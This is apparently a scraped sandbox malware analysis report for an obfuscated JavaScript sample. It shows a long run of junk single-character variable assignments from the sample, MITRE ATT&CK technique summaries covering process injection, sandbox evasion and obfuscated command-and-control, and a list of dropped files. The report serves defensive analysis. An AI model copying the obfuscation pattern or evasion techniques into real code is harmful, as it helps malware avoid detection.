1183	mwuggsfe = "E";
1184	mwuggsfe = "Q";
1185	mwuggsfe = "Z";
1186	mwuggsfe = "e";
1187	mwuggsfe = "c";
1188	mwuggsfe = "Z";
1189	mwuggsfe = "j";
1190	mwuggsfe = "x";
1191	mwuggsfe = "q";
1192	mwuggsfe = "W";
1193	mwuggsfe = "c";
1194	mwuggsfe = "q";
1195	mwuggsfe = "w";
1196	mwuggsfe = "M";
1197	mwuggsfe = "u";
1198	mwuggsfe = "D";
1199	mwuggsfe = "x";
1200	mwuggsfe = "g";
1201	mwuggsfe = "K";
1202	mwuggsfe = "o";
1203	mwuggsfe = "H";
1204	mwuggsfe = "J";
1205	mwuggsfe = "G";
1206	mwuggsfe = "P";
1207	mwuggsfe = "H";
1208	mwuggsfe = "T";
1209	migrsiv = "u";
1210	migrsiv = "s";
1211	migrsiv = "I";
1212	migrsiv = "Y";
1213	migrsiv = "f";
1214	migrsiv = "x";
1215	migrsiv = "R";
1216	migrsiv = "E";
1217	migrsiv = "Z";
1218	migrsiv = "L";
1219	migrsiv = "l";
1220	migrsiv = "s";
1221	migrsiv = "D";
1222	migrsiv = "Z";
1223	migrsiv = "q";
1224	migrsiv = "C";
1225	migrsiv = "u";
1226	migrsiv = "U";
1227	migrsiv = "q";
1228	migrsiv = "R";
1229	migrsiv = "f";
1230	migrsiv = "W";
1231	migrsiv = "v";
1232	migrsiv = "g";
1233	migrsiv = "I";
1234	migrsiv = "p";
1235	migrsiv = "I";
1236	migrsiv = "F";
1237	migrsiv = "C";
1238	agoel = "j";
1239	agoel = "t";
1240	agoel = "z";
1241	agoel = "w";
1242	agoel = "T";
1243	agoel = "p";
1244	agoel = "q";
1245	agoel = "Z";
1246	agoel = "F";
1247	agoel = "r";
1248	agoel = "r";
1249	agoel = "G";
1250	agoel = "s";
1251	agoel = "h";
1252	agoel = "7";
1253	iopxyb = "M";
1254	iopxyb = "B";
1255	iopxyb = "B";
1256	iopxyb = "T";
1257	iopxyb = "f";
1258	iopxyb = "k";
1259	iopxyb = "e";
1260	iopxyb = "l";
1261	iopxyb = "i";
1262	iopxyb = "B";
1263	iopxyb = "e";
1264	iopxyb = "c";
1265	iopxyb = "Z";
1266	iopxyb = "O";
1267	iopxyb = "u";
1268	iopxyb = "a";
1269	iopxyb = "s";
1270	iopxyb = "A";
1271	iopxyb = "g";
1272	iopxyb = "N";
1273	iopxyb = "I";
1274	iopxyb = "v";
1275	iopxyb = "T";
1276	iopxyb = "b";
1277	iopxyb = "u";
1278	iopxyb = "b";
1279	iopxyb = "B";
1280	iopxyb = "t";
1281	iopxyb = "W";
1282	iopxyb = "f";
1283	iopxyb = "s";
1284	iopxyb = "d";
1285	iopxyb = "X";
1286	iopxyb = "p";
1287	iopxyb = "L";
1288	iopxyb = "k";
1289	iopxyb = "E";
1290	iopxyb = "J";
1291	iopxyb = "l";
1292	iopxyb = "x";
1293	iopxyb = "J";
1294	iopxyb = "W";
1295	iopxyb = "F";
1296	iopxyb = "i";
1297	iopxyb = "Y";
1298	cgosacmpu = "J";
1299	cgosacmpu = "f";
1300	cgosacmpu = "G";
1301	cgosacmpu = "i";
1302	cgosacmpu = "g";
1303	cgosacmpu = "y";
1304	cgosacmpu = "j";
1305	cgosacmpu = "V";
1306	cgosacmpu = "J";
1307	cgosacmpu = "F";
1308	cgosacmpu = "U";
1309	cgosacmpu = "z";
1310	cgosacmpu = "f";
1311	cgosacmpu = "j";
1312	cgosacmpu = "I";
1313	cgosacmpu = "O";
1314	cgosacmpu = "y";
1315	cgosacmpu = "X";
1316	cgosacmpu = "4";
1317	bapayof = "o";
1318	bapayof = "w";
1319	bapayof = "I";
1320	bapayof = "Z";
1321	bapayof = "T";
1322	bapayof = "n";
1323	bapayof = "a";
1324	bapayof = "x";
1325	bapayof = "D";
1326	bapayof = "Q";
1327	bapayof = "H";
1328	bapayof = "C";
1329	bapayof = "w";
1330	bapayof = "r";
1331	bapayof = "P";
1332	bapayof = "c";
1333	bapayof = "u";
1334	bapayof = "h";
1335	bapayof = "J";
1336	bapayof = "v";
1337	bapayof = "z";
1338	bapayof = "I";
1339	bapayof = "v";
1340	bapayof = "0";
1341	tjsbts = "X";
1342	tjsbts = "q";
1343	tjsbts = "j";
1344	tjsbts = "G";
1345	tjsbts = "H";
1346	tjsbts = "r";
1347	tjsbts = "M";
1348	tjsbts = "C";
1349	tjsbts = "E";
1350	tjsbts = "j";
1351	tjsbts = "x";
1352	tjsbts = "Y";
1353	tjsbts = "g";
1354	tjsbts = "g";
1355	tjsbts = "J";
1356	tjsbts = "i";
1357	tjsbts = "j";
1358	tjsbts = "v";
1359	tjsbts = "s";
1360	tjsbts = "B";
1361	tjsbts = "e";
1362	tjsbts = "B";
1363	tjsbts = "N";
1364	tjsbts = "U";
1365	tjsbts = "L";
1366	tjsbts = "J";
1367	tjsbts = "S";
1368	tjsbts = "l";
1369	tkouoy = "Z";
1370	tkouoy = "H";
1371	tkouoy = "b";
1372	tkouoy = "n";
1373	tkouoy = "A";
1374	tkouoy = "H";
1375	tkouoy = "n";
1376	tkouoy = "g";
1377	tkouoy = "j";
1378	tkouoy = "N";
1379	tkouoy = "N";
1380	tkouoy = "f";
1381	tkouoy = "Y";
1382	tkouoy = "o";
1383	tkouoy = "Z";
1384	tkouoy = "J";
1385	tkouoy = "q";
1386	tkouoy = "H";
1387	tkouoy = "P";
1388	tkouoy = "U";
1389	tkouoy = "o";
1390	tkouoy = "Q";
1391	tkouoy = "n";
1392	tkouoy = "y";
1393	tkouoy = "t";
1394	tkouoy = "h";
1395	tkouoy = "5";
1396	hketbtckz = "A";
1397	hketbtckz = "E";
1398	hketbtckz = "R";
1399	hketbtckz = "x";
1400	hketbtckz = "F";
1401	ykvvmj = "f";
1402	ykvvmj = "X";
1403	ykvvmj = "z";
1404	ykvvmj = "b";
1405	ykvvmj = "f";
1406	ykvvmj = "g";
1407	ykvvmj = "T";
1408	ykvvmj = "i";
1409	mchaqx = "i";
1410	mchaqx = "e";
1411	mchaqx = "o";
1412	mchaqx = "L";
1413	mchaqx = "a";
1414	mchaqx = "a";
1415	mchaqx = "o";
1416	mchaqx = "a";
1417	mchaqx = "R";
1418	mchaqx = "c";
1419	mchaqx = "s";
1420	mchaqx = "R";
1421	mchaqx = "X";
1422	mchaqx = "Z";
1423	mchaqx = "F";
1424	mchaqx = "R";
1425	mchaqx = "O";
1426	mchaqx = "A";
1427	mchaqx = "N";
1428	mchaqx = "V";
1429	mchaqx = "y";
1430	mchaqx = "D";
1431	mchaqx = "g";
1432	mchaqx = "q";
1433	mchaqx = "R";
1434	mchaqx = "C";
1435	mchaqx = "w";
1436	mchaqx = "Q";
1437	mchaqx = "j";
1438	mchaqx = "I";
1439	mchaqx = "V";
1440	mchaqx = "y";
1441	mchaqx = "N";
1442	mchaqx = "H";
1443	mchaqx = "n";
1444	mchaqx = "K";
1445	mchaqx = "R";
1446	mchaqx = "s";
1447	mchaqx = "Q";
1448	mchaqx = "k";
1449	szmzap = "N";
1450	pmqqoys = "q";
1451	pmqqoys = "b";
1452	pmqqoys = "P";
1453	pmqqoys = "C";
1454	pmqqoys = "e";
1455	pmqqoys = "L";
1456	pmqqoys = "y";
1457	pmqqoys = "T";
1458	pmqqoys = "F";
1459	pmqqoys = "R";
1460	pmqqoys = "y";
1461	pmqqoys = "e";
1462	pmqqoys = "b";
1463	pmqqoys = "E";
1464	pmqqoys = "Q";
1465	pmqqoys = "h";
1466	pmqqoys = "w";
1467	pmqqoys = "m";
1468	pmqqoys = "C";
1469	pmqqoys = "U";
1470	pmqqoys = "O";
1471	pmqqoys = "v";
1472	pmqqoys = "c";
1473	pmqqoys = "b";
1474	vdkzt = "H";
1475	vdkzt = "R";
1476	vdkzt = "m";
1477	vdkzt = "Q";
1478	vdkzt = "G";
1479	vdkzt = "w";
1480	vdkzt = "N";
1481	vdkzt = "D";
1482	vdkzt = "N";
1483	vdkzt = "w";
1484	vdkzt = "n";
1485	vdkzt = "U";
1486	vdkzt = "w";
1487	vdkzt = "F";
1488	vdkzt = "V";
1489	vdkzt = "E";
1490	vdkzt = "v";
1491	vdkzt = "F";
1492	vdkzt = "p";
1493	vdkzt = "s";
1494	vdkzt = "q";
1495	vdkzt = "I";
1496	vdkzt = "b";
1497	vdkzt = "O";
1498	vdkzt = "V";
1499	vdkzt = "U";
1500	vdkzt = "Y";
1501	vdkzt = "N";
1502	vdkzt = "D";
1503	vdkzt = "u";
1504	vdkzt = "P";
1505	vdkzt = "2";
1506	uillajdzy = "A";
1507	uillajdzy = "g";
1508	uillajdzy = "X";
1509	uillajdzy = "V";
1510	uillajdzy = "Y";
1511	uillajdzy = "S";
1512	uillajdzy = "x";
1513	uillajdzy = "Y";
1514	uillajdzy = "Q";
1515	uillajdzy = "h";
1516	nmbhpb = "i";
1517	nmbhpb = "z";
1518	nmbhpb = "Q";
1519	nmbhpb = "e";
1520	nmbhpb = "q";
1521	nmbhpb = "A";
1522	nmbhpb = "N";
1523	nmbhpb = "g";
1524	nmbhpb = "j";
1525	nmbhpb = "I";
1526	nmbhpb = "E";
1527	nmbhpb = "A";
1528	nmbhpb = "w";
1529	jyaee = "U";
1530	jyaee = "T";
1531	jyaee = "I";
1532	jyaee = "L";
1533	jyaee = "b";
1534	jyaee = "z";
1535	jyaee = "K";
1536	uzcurqq = "t";
1537	uzcurqq = "C";
1538	uzcurqq = "s";
1539	uzcurqq = "y";
1540	uzcurqq = "H";
1541	uzcurqq = "L";
1542	uzcurqq = "u";
1543	uzcurqq = "E";
1544	uzcurqq = "K";
1545	uzcurqq = "R";
1546	uzcurqq = "K";
1547	uzcurqq = "O";
1548	uzcurqq = "c";
1549	uzcurqq = "S";
1550	uzcurqq = "D";
1551	uzcurqq = "r";
1552	uzcurqq = "K";
1553	uzcurqq = "Q";
1554	uzcurqq = "%";
1555	wtxpsurfy = "G";
1556	wtxpsurfy = "b";
1557	wtxpsurfy = "n";
1558	bvxhotyu ( );	bvxhotyu() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 19559251331544623964.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9ad28074-3997-4d63-bb16-24ec7457a219.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
19559251331544623964.js